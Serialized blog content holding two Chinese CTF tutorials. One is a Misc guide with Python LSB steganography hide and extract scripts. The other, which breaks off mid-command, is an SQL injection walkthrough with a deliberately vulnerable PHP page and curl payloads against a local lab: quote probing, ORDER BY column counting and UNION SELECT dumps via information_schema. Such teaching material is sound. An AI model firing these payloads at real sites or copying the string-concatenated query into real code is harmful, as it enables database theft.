flag.png\n",[19,4687,4688],{"__ignoreMap":33},[37,4689,4690,4692],{"class":39,"line":40},[37,4691,4681],{"class":43},[37,4693,4643],{"class":47},[10,4695,4697],{"id":4696},"五核心技能-3lsb-隐写完整实现","五、核心技能 3：LSB 隐写（完整实现）",[85,4699,4701],{"id":4700},"_51-原理","5.1 原理",[15,4703,4704],{},"RGB 像素每个通道是一个 0-255 的字节。把每个字节的最低位（LSB）替换成秘密比特，像素值最多变化 1，肉眼不可察觉：",[28,4706,4709],{"className":4707,"code":4708,"language":97,"meta":33},[95],"原来: 11001000  10010110  01100100\n写入: 11001001  10010110  01100101    ← 最低位依次写入 1,0,1\n",[19,4710,4708],{"__ignoreMap":33},[15,4712,4713],{},"一张 500×500 的图能藏 500×500×3 比特 ≈ 93 KB。",[85,4715,4717],{"id":4716},"_52-隐藏出题人视角","5.2 隐藏（出题人视角）",[15,4719,4720,4722],{},[107,4721,109],{},"：理解\"把秘密写进像素最低位\"的具体实现，便于反向写出提取脚本。",[28,4724,4726],{"className":113,"code":4725,"language":115,"meta":33,"style":33},"from PIL import Image\n# PIL 是 Python 图像处理库，Image 模块负责打开、修改、保存图片。\n\nimg = Image.new('RGB', (8, 8), (200, 150, 100))\n# Image.new(mode, size, color)：新建一张图片。\n# mode='RGB' 表示三通道；size=(8,8)；color=(200,150,100) 是初始颜色。\nmessage = \"flag{lsb_steganography}\"\n\ndata = message.encode() + b'\\x00'\n# message.encode()：把字符串按 UTF-8 转成字节串。\n# 末尾追加 b'\\x00'（字节 0）作为结束符，提取时遇到 0 就停止。\nbits = ''.join(f'{b:08b}' for b in data)\n# 把每个字节转成 8 位二进制字符串并拼接。\n# 例：b'f'=0x66=01100110，8 位拼进 bits。\npixels = list(img.getdata())\n# img.getdata()：返回所有像素的迭代器，转成列表后每项是 (r,g,b) 三元组。\n\nnew_pixels = []\ni = 0\nfor r, g, b in pixels:\n    if i \u003C len(bits):\n        r = (r & 0xfe) | int(bits[i]); i += 1\n        # r & 0xfe：把红色通道的最低位清零（0xfe=11111110）。\n        # | int(bits[i])：把秘密比特写进最低位；i 是当前比特下标。\n    if i \u003C len(bits):\n        g = (g & 0xfe) | int(bits[i]); i += 1\n        # 绿色通道同样处理。\n    if i \u003C len(bits):\n        b = (b & 0xfe) | int(bits[i]); i += 1\n        # 蓝色通道同样处理。三个通道依次消耗秘密比特。\n    new_pixels.append((r, g, b))\n    # 修改后的像素放入新列表。\n\nimg.putdata(new_pixels)\n# putdata()：把新像素列表写回图片对象。\nimg.save('hidden.png')\n# save()：按扩展名格式保存为 PNG 文件。\nprint(\"已生成 hidden.png\")\n",[19,4727,4728,4732,4737,4741,4745,4750,4755,4759,4763,4767,4772,4777,4781,4786,4791,4795,4800,4804,4808,4812,4816,4820,4824,4829,4834,4838,4842,4847,4851,4855,4860,4864,4869,4873,4878,4884,4889,4895],{"__ignoreMap":33},[37,4729,4730],{"class":39,"line":40},[37,4731,122],{},[37,4733,4734],{"class":39,"line":60},[37,4735,4736],{},"# PIL 是 Python 图像处理库，Image 模块负责打开、修改、保存图片。\n",[37,4738,4739],{"class":39,"line":71},[37,4740,133],{"emptyLinePlaceholder":132},[37,4742,4743],{"class":39,"line":136},[37,4744,139],{},[37,4746,4747],{"class":39,"line":142},[37,4748,4749],{},"# Image.new(mode, size, color)：新建一张图片。\n",[37,4751,4752],{"class":39,"line":148},[37,4753,4754],{},"# mode='RGB' 表示三通道；size=(8,8)；color=(200,150,100) 是初始颜色。\n",[37,4756,4757],{"class":39,"line":154},[37,4758,151],{},[37,4760,4761],{"class":39,"line":159},[37,4762,133],{"emptyLinePlaceholder":132},[37,4764,4765],{"class":39,"line":165},[37,4766,162],{},[37,4768,4769],{"class":39,"line":171},[37,4770,4771],{},"# message.encode()：把字符串按 UTF-8 转成字节串。\n",[37,4773,4774],{"class":39,"line":177},[37,4775,4776],{},"# 末尾追加 b'\\x00'（字节 0）作为结束符，提取时遇到 0 就停止。\n",[37,4778,4779],{"class":39,"line":183},[37,4780,174],{},[37,4782,4783],{"class":39,"line":189},[37,4784,4785],{},"# 把每个字节转成 8 位二进制字符串并拼接。\n",[37,4787,4788],{"class":39,"line":195},[37,4789,4790],{},"# 例：b'f'=0x66=01100110，8 位拼进 bits。\n",[37,4792,4793],{"class":39,"line":200},[37,4794,186],{},[37,4796,4797],{"class":39,"line":206},[37,4798,4799],{},"# img.getdata()：返回所有像素的迭代器，转成列表后每项是 (r,g,b) 三元组。\n",[37,4801,4802],{"class":39,"line":212},[37,4803,133],{"emptyLinePlaceholder":132},[37,4805,4806],{"class":39,"line":218},[37,4807,203],{},[37,4809,4810],{"class":39,"line":224},[37,4811,209],{},[37,4813,4814],{"class":39,"line":230},[37,4815,215],{},[37,4817,4818],{"class":39,"line":236},[37,4819,221],{},[37,4821,4822],{"class":39,"line":241},[37,4823,227],{},[37,4825,4826],{"class":39,"line":247},[37,4827,4828],{},"        # r & 0xfe：把红色通道的最低位清零（0xfe=11111110）。\n",[37,4830,4831],{"class":39,"line":253},[37,4832,4833],{},"        # | int(bits[i])：把秘密比特写进最低位；i 是当前比特下标。\n",[37,4835,4836],{"class":39,"line":258},[37,4837,221],{},[37,4839,4840],{"class":39,"line":264},[37,4841,244],{},[37,4843,4844],{"class":39,"line":270},[37,4845,4846],{},"        # 绿色通道同样处理。\n",[37,4848,4849],{"class":39,"line":276},[37,4850,221],{},[37,4852,4853],{"class":39,"line":281},[37,4854,261],{},[37,4856,4857],{"class":39,"line":287},[37,4858,4859],{},"        # 蓝色通道同样处理。三个通道依次消耗秘密比特。\n",[37,4861,4862],{"class":39,"line":293},[37,4863,273],{},[37,4865,4866],{"class":39,"line":299},[37,4867,4868],{},"    # 修改后的像素放入新列表。\n",[37,4870,4871],{"class":39,"line":305},[37,4872,133],{"emptyLinePlaceholder":132},[37,4874,4876],{"class":39,"line":4875},34,[37,4877,284],{},[37,4879,4881],{"class":39,"line":4880},35,[37,4882,4883],{},"# putdata()：把新像素列表写回图片对象。\n",[37,4885,4887],{"class":39,"line":4886},36,[37,4888,296],{},[37,4890,4892],{"class":39,"line":4891},37,[37,4893,4894],{},"# save()：按扩展名格式保存为 PNG 文件。\n",[37,4896,4898],{"class":39,"line":4897},38,[37,4899,308],{},[15,4901,4902,4904,4905,318,4907,4909],{},[19,4903,313],{}," 把最低位清零（",[19,4906,317],{},[19,4908,321],{}," 写入目标比特。",[85,4911,4913],{"id":4912},"_53-提取解题视角","5.3 提取（解题视角）",[15,4915,4916,4918],{},[107,4917,109],{},"：把像素最低位收集起来，按 8 位一组还原成字节，得到隐藏消息。",[15,4920,4921,4923],{},[107,4922,336],{},"：读取所有像素 → 依次取 R、G、B 的最低位 → 每 8 个比特拼成一个字节 → 遇到 0 结束。",[28,4925,4927],{"className":113,"code":4926,"language":115,"meta":33,"style":33},"from PIL import Image\n\nimg = Image.open('hidden.png').convert('RGB')\n# Image.open(path)：打开图片文件。\n# .convert('RGB')：统一转成 RGB 模式，避免调色板/透明度干扰。\nbits = []\nfor r, g, b in img.getdata():\n    bits += [r & 1, g & 1, b & 1]\n    # r & 1：取出红色通道最低位（0 或 1），绿、蓝同理。\n    # 三个最低位依次追加到 bits，顺序与隐藏时一致。\n\ndata = bytearray()\nfor i in range(0, len(bits) - 7, 8):\n    # range 步长 8：每 8 个比特处理一次，组成 1 字节。\n    byte = 0\n    for bit in bits[i:i+8]:\n        byte = (byte \u003C\u003C 1) | bit\n        # 左移一位再或上新比特，等价于二进制拼接。\n        # 例：1,0,1 → ((1\u003C\u003C1)|0)=2, (2\u003C\u003C1)|1=5，即二进制 101。\n    if byte == 0:\n        # 字节 0 是隐藏时追加的结束符，到此停止。\n        break\n    data.append(byte)\n\nprint(data.decode())\n# decode()：字节串按 UTF-8 解码成字符串显示。\n",[19,4928,4929,4933,4937,4941,4946,4951,4955,4959,4963,4968,4973,4977,4981,4985,4990,4994,4998,5002,5007,5012,5016,5021,5025,5029,5033,5037],{"__ignoreMap":33},[37,4930,4931],{"class":39,"line":40},[37,4932,122],{},[37,4934,4935],{"class":39,"line":60},[37,4936,133],{"emptyLinePlaceholder":132},[37,4938,4939],{"class":39,"line":71},[37,4940,355],{},[37,4942,4943],{"class":39,"line":136},[37,4944,4945],{},"# Image.open(path)：打开图片文件。\n",[37,4947,4948],{"class":39,"line":142},[37,4949,4950],{},"# .convert('RGB')：统一转成 RGB 模式，避免调色板/透明度干扰。\n",[37,4952,4953],{"class":39,"line":148},[37,4954,365],{},[37,4956,4957],{"class":39,"line":154},[37,4958,370],{},[37,4960,4961],{"class":39,"line":159},[37,4962,375],{},[37,4964,4965],{"class":39,"line":165},[37,4966,4967],{},"    # r & 1：取出红色通道最低位（0 或 1），绿、蓝同理。\n",[37,4969,4970],{"class":39,"line":171},[37,4971,4972],{},"    # 三个最低位依次追加到 bits，顺序与隐藏时一致。\n",[37,4974,4975],{"class":39,"line":177},[37,4976,133],{"emptyLinePlaceholder":132},[37,4978,4979],{"class":39,"line":183},[37,4980,389],{},[37,4982,4983],{"class":39,"line":189},[37,4984,394],{},[37,4986,4987],{"class":39,"line":195},[37,4988,4989],{},"    # range 步长 8：每 8 个比特处理一次，组成 1 字节。\n",[37,4991,4992],{"class":39,"line":200},[37,4993,404],{},[37,4995,4996],{"class":39,"line":206},[37,4997,409],{},[37,4999,5000],{"class":39,"line":212},[37,5001,414],{},[37,5003,5004],{"class":39,"line":218},[37,5005,5006],{},"        # 左移一位再或上新比特，等价于二进制拼接。\n",[37,5008,5009],{"class":39,"line":224},[37,5010,5011],{},"        # 例：1,0,1 → ((1\u003C\u003C1)|0)=2, (2\u003C\u003C1)|1=5，即二进制 101。\n",[37,5013,5014],{"class":39,"line":230},[37,5015,424],{},[37,5017,5018],{"class":39,"line":236},[37,5019,5020],{},"        # 字节 0 是隐藏时追加的结束符，到此停止。\n",[37,5022,5023],{"class":39,"line":241},[37,5024,434],{},[37,5026,5027],{"class":39,"line":247},[37,5028,439],{},[37,5030,5031],{"class":39,"line":253},[37,5032,133],{"emptyLinePlaceholder":132},[37,5034,5035],{"class":39,"line":258},[37,5036,448],{},[37,5038,5039],{"class":39,"line":264},[37,5040,5041],{},"# decode()：字节串按 UTF-8 解码成字符串显示。\n",[15,5043,456],{},[28,5045,5047],{"className":5046,"code":460,"language":97,"meta":33},[95],[19,5048,460],{"__ignoreMap":33},[85,5050,5052],{"id":5051},"_54-现成工具","5.4 现成工具",[28,5054,5056],{"className":30,"code":5055,"language":32,"meta":33,"style":33},"gem install zsteg\nzsteg -a hidden.png\n",[19,5057,5058,5066],{"__ignoreMap":33},[37,5059,5060,5062,5064],{"class":39,"line":40},[37,5061,74],{"class":43},[37,5063,48],{"class":47},[37,5065,79],{"class":47},[37,5067,5068,5070,5072],{"class":39,"line":60},[37,5069,476],{"class":43},[37,5071,480],{"class":479},[37,5073,483],{"class":47},[15,5075,5076,5079],{},[19,5077,5078],{},"-a"," 全自动检测各种 LSB 变体。",[10,5081,941],{"id":940},[943,5083,5084,5094],{},[946,5085,5086],{},[949,5087,5088,5090,5092],{},[952,5089,954],{},[952,5091,957],{},[952,5093,960],{},[962,5095,5096,5108,5120,5136],{},[949,5097,5098,5100,5103],{},[967,5099,969],{},[967,5101,5102],{},"看类型、看编码、看无后缀文件",[967,5104,5105],{},[19,5106,5107],{},"file flag",[949,5109,5110,5113,5116],{},[967,5111,5112],{},"xxd / hexdump",[967,5114,5115],{},"查看文件头、指定长度",[967,5117,5118],{},[19,5119,990],{},[949,5121,5122,5124,5127],{},[967,5123,1066],{},[967,5125,5126],{},"提取字符串、指定长度、管道过滤",[967,5128,5129,991,5132,991,5134],{},[19,5130,5131],{},"strings flag.png",[19,5133,2199],{},[19,5135,2202],{},[949,5137,5138,5140,5143],{},[967,5139,999],{},[967,5141,5142],{},"扫描、提取",[967,5144,5145,991,5147],{},[19,5146,1007],{},[19,5148,1010],{},[10,5150,5152],{"id":5151},"七小-ctf-实战藏了-flag-的-png","七、小 CTF 实战：藏了 flag 的 PNG",[15,5154,1039,5155,490],{},[19,5156,1042],{},[15,5158,1045],{},[28,5160,5162],{"className":30,"code":5161,"language":32,"meta":33,"style":33},"file flag.png\n",[19,5163,5164],{"__ignoreMap":33},[37,5165,5166,5168],{"class":39,"line":40},[37,5167,969],{"class":43},[37,5169,4643],{"class":47},[15,5171,1434,5172,490],{},[19,5173,5174],{},"PNG image data",[15,5176,5177],{},"第二步：",[28,5179,5180],{"className":30,"code":4604,"language":32,"meta":33,"style":33},[19,5181,5182],{"__ignoreMap":33},[37,5183,5184,5186,5188,5190,5192,5194],{"class":39,"line":40},[37,5185,1066],{"class":43},[37,5187,1057],{"class":47},[37,5189,1072],{"class":1071},[37,5191,1075],{"class":43},[37,5193,1078],{"class":479},[37,5195,4621],{"class":47},[15,5197,5198],{},"无输出。",[15,5200,5201],{},"第三步：",[28,5203,5204],{"className":30,"code":4634,"language":32,"meta":33,"style":33},[19,5205,5206],{"__ignoreMap":33},[37,5207,5208,5210],{"class":39,"line":40},[37,5209,999],{"class":43},[37,5211,4643],{"class":47},[15,5213,5214],{},"无隐藏文件。",[15,5216,5217],{},"第四步：怀疑 LSB，运行提取脚本，输出：",[28,5219,5221],{"className":5220,"code":460,"language":97,"meta":33},[95],[19,5222,460],{"__ignoreMap":33},[10,5224,1130],{"id":1129},[15,5226,5227,5228,5230,5231,1139,5233,5235],{},"Misc 入门三板斧：",[19,5229,969],{}," 看类型、",[19,5232,1066],{},[19,5234,999],{}," 排除简单情况、LSB 脚本提数据。音频隐写（Audacity 频谱图）、ZIP 伪加密、USB 流量分析在《隐写与取证深入实战》中完整展开。",[1144,5237,5238],{},"html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sCdxs, html code.shiki .sCdxs{--shiki-default:#F8F8F2}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .shSDL, html code.shiki .shSDL{--shiki-default:#6272A4}html pre.shiki code .s0Tla, html code.shiki .s0Tla{--shiki-default:#FF79C6}",{"title":33,"searchDepth":60,"depth":60,"links":5240},[5241,5242,5243,5244,5245,5246,5247,5248],{"id":4360,"depth":71,"text":4361},{"id":25,"depth":71,"text":26},{"id":4469,"depth":71,"text":4470},{"id":4627,"depth":71,"text":4628},{"id":4696,"depth":71,"text":4697},{"id":940,"depth":71,"text":941},{"id":5151,"depth":71,"text":5152},{"id":1129,"depth":71,"text":1130},"杂项三板斧：file/xxd 识别文件头、binwalk 提取隐藏文件、Python 实现 LSB 隐写的隐藏与提取。",{"date":1160,"image":5251,"alt":5252,"tags":5253,"published":132},"/blogs-img/blog4.png","CTF Misc 入门",[1164,1165],"/blogs/ctf-misc-overview",{"title":4355,"description":5249},"blogs/13. ctf-misc-overview","XI4JQUKrJS4uak8Rm3ioTk2L2WukeCdhI54Ldj4FkRo",{"id":5259,"title":5260,"body":5261,"description":6652,"extension":1158,"meta":6653,"navigation":132,"ogImage":6654,"path":6659,"seo":6660,"stem":6661,"__hash__":6662},"content/blogs/14. ctf-web-sql-injection-deep-dive.md","SQL 注入深入实战：判断、UNION 拖库、盲注与防御",{"type":7,"value":5262,"toc":6641},[5263,5267,5270,5287,5297,5308,5315,5319,5323,5356,5362,5366,5369,5404,5409,5457,5463,5469,5473,5482,5487,5491,5496,5515,5517,5523,5527,5532,5548,5551,5557,5564,5568,5584,5590,5594,5610,5613,5627,5631,5636,5641,5648,5652,5660,5709,5712,5716,5724,5740,5746,5750,5766,5770,5774,5790,5795,5799,5815,5819,5834,5838,5854,5859,5865,5869,5874,5877,5881,5897,5902,5918,5923,5926,5935,6072,6075,6081,6085,6092,6108,6111,6115,6120,6124,6129,6152,6154,6160,6164,6184,6189,6193,6224,6231,6235,6279,6288,6295,6299,6304,6310,6480,6483,6495,6497,6503,6506,6627,6631,6638],[10,5264,5266],{"id":5265},"一现实背景sql-是怎么被拼出来的","一、现实背景：SQL 是怎么被拼出来的",[15,5268,5269],{},"普通程序员的查询代码：",[28,5271,5275],{"className":5272,"code":5273,"language":5274,"meta":33,"style":33},"language-php shiki shiki-themes dracula","$id = $_GET['id'];\n$sql = \"SELECT id, title FROM articles WHERE id = \" . $id;\n","php",[19,5276,5277,5282],{"__ignoreMap":33},[37,5278,5279],{"class":39,"line":40},[37,5280,5281],{},"$id = $_GET['id'];\n",[37,5283,5284],{"class":39,"line":60},[37,5285,5286],{},"$sql = \"SELECT id, title FROM articles WHERE id = \" . $id;\n",[15,5288,5289,5292,5293,5296],{},[19,5290,5291],{},"$id"," 被直接拼进 SQL 字符串。当 ",[19,5294,5295],{},"id=1 OR 1=1"," 时：",[28,5298,5302],{"className":5299,"code":5300,"language":5301,"meta":33,"style":33},"language-sql shiki shiki-themes dracula","SELECT id, title FROM articles WHERE id = 1 OR 1=1\n","sql",[19,5303,5304],{"__ignoreMap":33},[37,5305,5306],{"class":39,"line":40},[37,5307,5300],{},[15,5309,5310,5311,5314],{},"恒真，返回全表。",[107,5312,5313],{},"用户输入从\"数据\"变成了\"代码\"","，这就是 SQL 注入。",[10,5316,5318],{"id":5317},"二环境搭建二选一","二、环境搭建（二选一）",[85,5320,5322],{"id":5321},"方式-asqli-labs-靶场","方式 A：sqli-labs 靶场",[28,5324,5326],{"className":30,"code":5325,"language":32,"meta":33,"style":33},"git clone https://github.com/Audi-1/sqli-labs.git\ncd sqli-labs\nphp -S 127.0.0.1:8000\n",[19,5327,5328,5339,5346],{"__ignoreMap":33},[37,5329,5330,5333,5336],{"class":39,"line":40},[37,5331,5332],{"class":43},"git",[37,5334,5335],{"class":47}," clone",[37,5337,5338],{"class":47}," https://github.com/Audi-1/sqli-labs.git\n",[37,5340,5341,5343],{"class":39,"line":60},[37,5342,1892],{"class":1891},[37,5344,5345],{"class":47}," sqli-labs\n",[37,5347,5348,5350,5353],{"class":39,"line":71},[37,5349,5274],{"class":43},[37,5351,5352],{"class":479}," -S",[37,5354,5355],{"class":47}," 127.0.0.1:8000\n",[15,5357,5358,5359,490],{},"浏览器访问，点 \"Setup/reset Database\"，之后打 ",[19,5360,5361],{},"Less-1",[85,5363,5365],{"id":5364},"方式-b自建漏洞页本文以此讲解","方式 B：自建漏洞页（本文以此讲解）",[15,5367,5368],{},"数据库：",[28,5370,5372],{"className":5299,"code":5371,"language":5301,"meta":33,"style":33},"CREATE DATABASE ctf;\nUSE ctf;\nCREATE TABLE articles (id INT, title VARCHAR(50), content VARCHAR(200));\nINSERT INTO articles VALUES (1, 'hello', 'world'), (2, 'secret', 'hidden');\nCREATE TABLE flag (flag VARCHAR(100));\nINSERT INTO flag VALUES ('flag{sql_injection}');\n",[19,5373,5374,5379,5384,5389,5394,5399],{"__ignoreMap":33},[37,5375,5376],{"class":39,"line":40},[37,5377,5378],{},"CREATE DATABASE ctf;\n",[37,5380,5381],{"class":39,"line":60},[37,5382,5383],{},"USE ctf;\n",[37,5385,5386],{"class":39,"line":71},[37,5387,5388],{},"CREATE TABLE articles (id INT, title VARCHAR(50), content VARCHAR(200));\n",[37,5390,5391],{"class":39,"line":136},[37,5392,5393],{},"INSERT INTO articles VALUES (1, 'hello', 'world'), (2, 'secret', 'hidden');\n",[37,5395,5396],{"class":39,"line":142},[37,5397,5398],{},"CREATE TABLE flag (flag VARCHAR(100));\n",[37,5400,5401],{"class":39,"line":148},[37,5402,5403],{},"INSERT INTO flag VALUES ('flag{sql_injection}');\n",[15,5405,5406,1682],{},[19,5407,5408],{},"vuln.php",[28,5410,5412],{"className":5272,"code":5411,"language":5274,"meta":33,"style":33},"\u003C?php\n$conn = new mysqli(\"localhost\", \"root\", \"password\", \"ctf\");\n$id = $_GET['id'];\n$sql = \"SELECT id, title, content FROM articles WHERE id = \" . $id;\n$result = $conn->query($sql);\nwhile ($row = $result->fetch_assoc()) {\n    echo $row['id'] . \" \" . $row['title'] . \" \" . $row['content'] . \"\u003Cbr>\";\n}\n?>\n",[19,5413,5414,5419,5424,5428,5433,5438,5443,5448,5452],{"__ignoreMap":33},[37,5415,5416],{"class":39,"line":40},[37,5417,5418],{},"\u003C?php\n",[37,5420,5421],{"class":39,"line":60},[37,5422,5423],{},"$conn = new mysqli(\"localhost\", \"root\", \"password\", \"ctf\");\n",[37,5425,5426],{"class":39,"line":71},[37,5427,5281],{},[37,5429,5430],{"class":39,"line":136},[37,5431,5432],{},"$sql = \"SELECT id, title, content FROM articles WHERE id = \" . $id;\n",[37,5434,5435],{"class":39,"line":142},[37,5436,5437],{},"$result = $conn->query($sql);\n",[37,5439,5440],{"class":39,"line":148},[37,5441,5442],{},"while ($row = $result->fetch_assoc()) {\n",[37,5444,5445],{"class":39,"line":154},[37,5446,5447],{},"    echo $row['id'] . \" \" . $row['title'] . \" \" . $row['content'] . \"\u003Cbr>\";\n",[37,5449,5450],{"class":39,"line":159},[37,5451,2576],{},[37,5453,5454],{"class":39,"line":165},[37,5455,5456],{},"?>\n",[15,5458,5459,5460,490],{},"启动：",[19,5461,5462],{},"php -S 127.0.0.1:8000",[5464,5465,5466],"blockquote",{},[15,5467,5468],{},"说明：如果你的电脑不方便装 PHP+MySQL，可以跳过本节，用\"附录\"里的 Python+SQLite 模拟程序跑通同样的注入过程，原理完全一致。",[10,5470,5472],{"id":5471},"三核心步骤-1注入点判断","三、核心步骤 1：注入点判断",[15,5474,5475,5477,5478,5481],{},[107,5476,109],{},"：确认参数 ",[19,5479,5480],{},"id"," 能影响 SQL 逻辑，避免在非注入点上浪费时间。",[15,5483,5484,5486],{},[107,5485,336],{},"：用\"会破坏语法\"的单引号和\"改变查询条件\"的 AND 表达式做探测。单引号报错、恒真正常、恒假为空，三者齐备即确认。",[85,5488,5490],{"id":5489},"请求-1正常请求","请求 1：正常请求",[15,5492,5493,5495],{},[107,5494,109],{},"：记录正常响应的样子，作为后续对比的基线。",[28,5497,5499],{"className":30,"code":5498,"language":32,"meta":33,"style":33},"curl \"http://127.0.0.1:8000/vuln.php?id=1\"\n",[19,5500,5501],{"__ignoreMap":33},[37,5502,5503,5506,5509,5512],{"class":39,"line":40},[37,5504,5505],{"class":43},"curl",[37,5507,5508],{"class":1545}," \"",[37,5510,5511],{"class":47},"http://127.0.0.1:8000/vuln.php?id=1",[37,5513,5514],{"class":1545},"\"\n",[15,5516,1310],{},[28,5518,5521],{"className":5519,"code":5520,"language":97,"meta":33},[95],"1 hello world\n",[19,5522,5520],{"__ignoreMap":33},[85,5524,5526],{"id":5525},"请求-2单引号","请求 2：单引号",[15,5528,5529,5531],{},[107,5530,109],{},"：判断输入是否被拼进 SQL。拼进去了，单引号就会破坏语法。",[28,5533,5535],{"className":30,"code":5534,"language":32,"meta":33,"style":33},"curl \"http://127.0.0.1:8000/vuln.php?id=1'\"\n",[19,5536,5537],{"__ignoreMap":33},[37,5538,5539,5541,5543,5546],{"class":39,"line":40},[37,5540,5505],{"class":43},[37,5542,5508],{"class":1545},[37,5544,5545],{"class":47},"http://127.0.0.1:8000/vuln.php?id=1'",[37,5547,5514],{"class":1545},[15,5549,5550],{},"预期输出（报错）：",[28,5552,5555],{"className":5553,"code":5554,"language":97,"meta":33},[95],"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version ...\n",[19,5556,5554],{"__ignoreMap":33},[15,5558,5559,5560,5563],{},"原因：语句变成 ",[19,5561,5562],{},"WHERE id = 1'","，单引号未闭合。",[85,5565,5567],{"id":5566},"请求-3and-11","请求 3：AND 1=1",[28,5569,5571],{"className":30,"code":5570,"language":32,"meta":33,"style":33},"curl \"http://127.0.0.1:8000/vuln.php?id=1 AND 1=1\"\n",[19,5572,5573],{"__ignoreMap":33},[37,5574,5575,5577,5579,5582],{"class":39,"line":40},[37,5576,5505],{"class":43},[37,5578,5508],{"class":1545},[37,5580,5581],{"class":47},"http://127.0.0.1:8000/vuln.php?id=1 AND 1=1",[37,5583,5514],{"class":1545},[15,5585,1310,5586,5589],{},[19,5587,5588],{},"1 hello world","（条件真）。",[85,5591,5593],{"id":5592},"请求-4and-12","请求 4：AND 1=2",[28,5595,5597],{"className":30,"code":5596,"language":32,"meta":33,"style":33},"curl \"http://127.0.0.1:8000/vuln.php?id=1 AND 1=2\"\n",[19,5598,5599],{"__ignoreMap":33},[37,5600,5601,5603,5605,5608],{"class":39,"line":40},[37,5602,5505],{"class":43},[37,5604,5508],{"class":1545},[37,5606,5607],{"class":47},"http://127.0.0.1:8000/vuln.php?id=1 AND 1=2",[37,5609,5514],{"class":1545},[15,5611,5612],{},"预期输出：空（条件假）。",[15,5614,5615,5618,5619,5622,5623,5626],{},[107,5616,5617],{},"判定","：单引号报错 + ",[19,5620,5621],{},"1=1"," 正常 + ",[19,5624,5625],{},"1=2"," 为空 → 注入点确认。",[10,5628,5630],{"id":5629},"四核心步骤-2union-注入五步拖库","四、核心步骤 2：UNION 注入五步拖库",[15,5632,5633,5635],{},[107,5634,109],{},"：把数据库里的表和数据\"借\" UNION 查询显示到页面上。",[15,5637,5638,5640],{},[107,5639,336],{},"：UNION 合并两个查询，但要求列数一致；先把第一个查询置空（id=-1），再用回显列依次输出库名、表名、列名、数据。每一步都是下一步的前提：不知道库名就筛不出表，不知道表名就查不了列。",[15,5642,5643,5644,5647],{},"前提：第一个查询返回空（用 ",[19,5645,5646],{},"id=-1","），UNION 两个查询列数相同。",[85,5649,5651],{"id":5650},"第-1-步确定列数","第 1 步：确定列数",[15,5653,5654,1682,5656,5659],{},[107,5655,336],{},[19,5657,5658],{},"ORDER BY N"," 按第 N 列排序，N 超过实际列数时报错。从 1 试到报错为止，报错前的 N 就是列数。",[28,5661,5663],{"className":30,"code":5662,"language":32,"meta":33,"style":33},"curl \"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 1\"\ncurl \"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 2\"\ncurl \"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 3\"\ncurl \"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 4\"\n",[19,5664,5665,5676,5687,5698],{"__ignoreMap":33},[37,5666,5667,5669,5671,5674],{"class":39,"line":40},[37,5668,5505],{"class":43},[37,5670,5508],{"class":1545},[37,5672,5673],{"class":47},"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 1",[37,5675,5514],{"class":1545},[37,5677,5678,5680,5682,5685],{"class":39,"line":60},[37,5679,5505],{"class":43},[37,5681,5508],{"class":1545},[37,5683,5684],{"class":47},"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 2",[37,5686,5514],{"class":1545},[37,5688,5689,5691,5693,5696],{"class":39,"line":71},[37,5690,5505],{"class":43},[37,5692,5508],{"class":1545},[37,5694,5695],{"class":47},"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 3",[37,5697,5514],{"class":1545},[37,5699,5700,5702,5704,5707],{"class":39,"line":136},[37,5701,5505],{"class":43},[37,5703,5508],{"class":1545},[37,5705,5706],{"class":47},"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 4",[37,5708,5514],{"class":1545},[15,5710,5711],{},"前三条正常，第四条报错 → 共 3 列。",[85,5713,5715],{"id":5714},"第-2-步确认回显位","第 2 步：确认回显位",[15,5717,5718,1682,5720,5723],{},[107,5719,336],{},[19,5721,5722],{},"SELECT 1,2,3"," 的数字会显示在页面上，显示的哪个数字对应哪一列，哪一列就能用来输出数据。",[28,5725,5727],{"className":30,"code":5726,"language":32,"meta":33,"style":33},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,2,3--+\"\n",[19,5728,5729],{"__ignoreMap":33},[37,5730,5731,5733,5735,5738],{"class":39,"line":40},[37,5732,5505],{"class":43},[37,5734,5508],{"class":1545},[37,5736,5737],{"class":47},"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,2,3--+",[37,5739,5514],{"class":1545},[15,5741,1310,5742,5745],{},[19,5743,5744],{},"2 3","。第 2、3 列内容会显示，作为后续输出位置。",[85,5747,5749],{"id":5748},"第-3-步查数据库名","第 3 步：查数据库名",[28,5751,5753],{"className":30,"code":5752,"language":32,"meta":33,"style":33},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,database(),3--+\"\n",[19,5754,5755],{"__ignoreMap":33},[37,5756,5757,5759,5761,5764],{"class":39,"line":40},[37,5758,5505],{"class":43},[37,5760,5508],{"class":1545},[37,5762,5763],{"class":47},"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,database(),3--+",[37,5765,5514],{"class":1545},[15,5767,1310,5768,490],{},[19,5769,1164],{},[85,5771,5773],{"id":5772},"第-4-步查表名","第 4 步：查表名",[28,5775,5777],{"className":30,"code":5776,"language":32,"meta":33,"style":33},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()--+\"\n",[19,5778,5779],{"__ignoreMap":33},[37,5780,5781,5783,5785,5788],{"class":39,"line":40},[37,5782,5505],{"class":43},[37,5784,5508],{"class":1545},[37,5786,5787],{"class":47},"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE 